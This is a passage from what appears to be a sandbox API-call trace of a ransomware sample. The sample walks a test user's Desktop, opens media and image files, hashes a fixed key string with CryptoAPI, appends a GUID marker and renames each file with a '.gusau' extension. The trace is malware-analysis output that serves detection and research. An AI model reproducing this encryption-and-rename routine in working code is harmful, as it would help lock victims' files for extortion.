lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43d39930, ftCreationTime.dwHighDateTime=0x1d4d2a3, ftLastAccessTime.dwLowDateTime=0xca4d1770, ftLastAccessTime.dwHighDateTime=0x1d4c97a, ftLastWriteTime.dwLowDateTime=0xca4d1770, ftLastWriteTime.dwHighDateTime=0x1d4c97a, nFileSizeHigh=0x0, nFileSizeLow=0x39c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EDVS.avi", cAlternateFileName="")) returned 1 [0116.855] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EDVS.avi") returned=".avi" [0116.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EDVS.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\edvs.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.856] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=14789) returned 1 [0116.856] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.858] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x399f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.858] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.859] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x39c5, lpOverlapped=0x0) returned 1 [0116.859] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.859] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.859] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.859] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0116.860] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.860] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.860] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.860] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.860] GetLastError () returned 0x0 [0116.860] SetLastError (dwErrCode=0x0) [0116.860] GetLastError () returned 0x0 [0116.860] SetLastError (dwErrCode=0x0) [0116.860] GetLastError () returned 0x0 [0116.860] SetLastError (dwErrCode=0x0) [0116.860] GetLastError () returned 0x0 [0116.860] SetLastError (dwErrCode=0x0) [0116.860] GetLastError () returned 0x0 [0116.860] SetLastError (dwErrCode=0x0) [0116.860] GetLastError () returned 0x0 [0116.860] SetLastError (dwErrCode=0x0) [0116.860] GetLastError () returned 0x0 [0116.860] SetLastError (dwErrCode=0x0) [0116.860] GetLastError () returned 0x0 [0116.860] SetLastError (dwErrCode=0x0) [0116.860] GetLastError () returned 0x0 [0116.860] SetLastError (dwErrCode=0x0) [0116.860] GetLastError () returned 0x0 [0116.860] SetLastError (dwErrCode=0x0) [0116.860] GetLastError () returned 0x0 [0116.861] SetLastError (dwErrCode=0x0) [0116.861] GetLastError () returned 0x0 [0116.861] SetLastError (dwErrCode=0x0) [0116.861] GetLastError () returned 0x0 [0116.861] SetLastError (dwErrCode=0x0) [0116.861] GetLastError () returned 0x0 [0116.861] SetLastError (dwErrCode=0x0) [0116.861] GetLastError () returned 0x0 [0116.861] SetLastError (dwErrCode=0x0) [0116.861] GetLastError () returned 0x0 [0116.861] SetLastError (dwErrCode=0x0) [0116.861] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.861] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0116.861] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x39c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.861] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.861] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.861] CloseHandle (hObject=0x610) returned 1 [0116.862] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EDVS.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\edvs.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EDVS.avi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\edvs.avi.gusau")) returned 1 [0116.863] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f1400c0, ftCreationTime.dwHighDateTime=0x1d4d0c6, ftLastAccessTime.dwLowDateTime=0x1c524720, ftLastAccessTime.dwHighDateTime=0x1d4c89a, ftLastWriteTime.dwLowDateTime=0x1c524720, ftLastWriteTime.dwHighDateTime=0x1d4c89a, nFileSizeHigh=0x0, nFileSizeLow=0x13c95, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="frVUZwt9PcEpwFw.jpg", cAlternateFileName="FRVUZW~1.JPG")) returned 1 [0116.863] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\frVUZwt9PcEpwFw.jpg") returned=".jpg" [0116.863] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\frVUZwt9PcEpwFw.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\frvuzwt9pcepwfw.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.863] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=81045) returned 1 [0116.863] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.866] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x13c6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.866] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.866] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x13c95, lpOverlapped=0x0) returned 1 [0116.867] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.867] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.867] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.867] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0116.868] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.868] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.868] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.868] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.868] GetLastError () returned 0x0 [0116.868] SetLastError (dwErrCode=0x0) [0116.868] GetLastError () returned 0x0 [0116.868] SetLastError (dwErrCode=0x0) [0116.868] GetLastError () returned 0x0 [0116.868] SetLastError (dwErrCode=0x0) [0116.868] GetLastError () returned 0x0 [0116.868] SetLastError (dwErrCode=0x0) [0116.868] GetLastError () returned 0x0 [0116.868] SetLastError (dwErrCode=0x0) [0116.868] GetLastError () returned 0x0 [0116.868] SetLastError (dwErrCode=0x0) [0116.868] GetLastError () returned 0x0 [0116.868] SetLastError (dwErrCode=0x0) [0116.868] GetLastError () returned 0x0 [0116.868] SetLastError (dwErrCode=0x0) [0116.868] GetLastError () returned 0x0 [0116.868] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.868] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0116.869] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x13c95, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.869] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.869] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.869] CloseHandle (hObject=0x610) returned 1 [0116.871] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\frVUZwt9PcEpwFw.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\frvuzwt9pcepwfw.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\frVUZwt9PcEpwFw.jpg.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\frvuzwt9pcepwfw.jpg.gusau")) returned 1 [0116.873] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec2b3f20, ftCreationTime.dwHighDateTime=0x1d4cf1f, ftLastAccessTime.dwLowDateTime=0x89920980, ftLastAccessTime.dwHighDateTime=0x1d4c799, ftLastWriteTime.dwLowDateTime=0x89920980, ftLastWriteTime.dwHighDateTime=0x1d4c799, nFileSizeHigh=0x0, nFileSizeLow=0xf9bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="G0k7.m4a", cAlternateFileName="")) returned 1 [0116.873] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G0k7.m4a") returned=".m4a" [0116.873] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G0k7.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g0k7.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.873] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=63935) returned 1 [0116.873] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.875] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf999, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.875] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.876] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xf9bf, lpOverlapped=0x0) returned 1 [0116.877] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.877] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.877] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.877] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0116.878] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.878] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.878] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.878] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.878] GetLastError () returned 0x0 [0116.878] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.878] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0116.879] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf9bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.879] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.879] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.879] CloseHandle (hObject=0x610) returned 1 [0116.880] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G0k7.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g0k7.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G0k7.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g0k7.m4a.gusau")) returned 1 [0116.881] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80164f90, ftCreationTime.dwHighDateTime=0x1d4c548, ftLastAccessTime.dwLowDateTime=0x5c992440, ftLastAccessTime.dwHighDateTime=0x1d4d5a4, ftLastWriteTime.dwLowDateTime=0x5c992440, ftLastWriteTime.dwHighDateTime=0x1d4d5a4, nFileSizeHigh=0x0, nFileSizeLow=0x6eea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GH F.mp3", cAlternateFileName="GHF~1.MP3")) returned 1 [0116.881] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH F.mp3") returned=".mp3" [0116.881] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH F.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gh f.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.882] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=28394) returned 1 [0116.882] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.884] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.884] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.885] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x6eea, lpOverlapped=0x0) returned 1 [0116.886] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.886] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.886] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.886] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0116.887] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.887] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.887] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.887] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.887] GetLastError () returned 0x0 [0116.887] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.887] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0116.887] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6eea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.887] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.887] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.887] CloseHandle (hObject=0x610) returned 1 [0116.888] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH F.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gh f.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GH F.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gh f.mp3.gusau")) returned 1 [0116.890] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7dda90, ftCreationTime.dwHighDateTime=0x1d4d30e, ftLastAccessTime.dwLowDateTime=0x341787c0, ftLastAccessTime.dwHighDateTime=0x1d4d534, ftLastWriteTime.dwLowDateTime=0x341787c0, ftLastWriteTime.dwHighDateTime=0x1d4d534, nFileSizeHigh=0x0, nFileSizeLow=0xcc16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gp40F.mp3", cAlternateFileName="")) returned 1 [0116.890] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Gp40F.mp3") returned=".mp3" [0116.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Gp40F.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gp40f.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.890] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=52246) returned 1 [0116.890] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.892] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xcbf0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.892] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.895] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xcc16, lpOverlapped=0x0) returned 1 [0116.896] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.896] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.896] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.896] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0116.897] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.897] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.897] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.897] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.897] GetLastError () returned 0x0 [0116.897] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.897] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0116.897] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xcc16, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.897] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.898] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.898] CloseHandle (hObject=0x610) returned 1 [0116.899] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Gp40F.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gp40f.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Gp40F.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gp40f.mp3.gusau")) returned 1 [0116.900] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e26310, ftCreationTime.dwHighDateTime=0x1d4c7ee, ftLastAccessTime.dwLowDateTime=0x63ed2a0, ftLastAccessTime.dwHighDateTime=0x1d4cf2f, ftLastWriteTime.dwLowDateTime=0x63ed2a0, ftLastWriteTime.dwHighDateTime=0x1d4cf2f, nFileSizeHigh=0x0, nFileSizeLow=0x752d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="h7iN.jpg", cAlternateFileName="")) returned 1 [0116.900] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h7iN.jpg") returned=".jpg" [0116.900] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h7iN.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h7in.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.900] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=29997) returned 1 [0116.900] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.901] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x7507, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.901] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.902] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x752d, lpOverlapped=0x0) returned 1 [0116.903] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.903] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.903] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.903] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0116.903] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.903] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.903] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.904] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.904] GetLastError () returned 0x0 [0116.904] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.904] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0116.904] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x752d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.904] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.904] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.904] CloseHandle (hObject=0x610) returned 1 [0116.905] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h7iN.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h7in.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h7iN.jpg.gusau" (normalized: "c:\\users\\5p5nrgjn0js 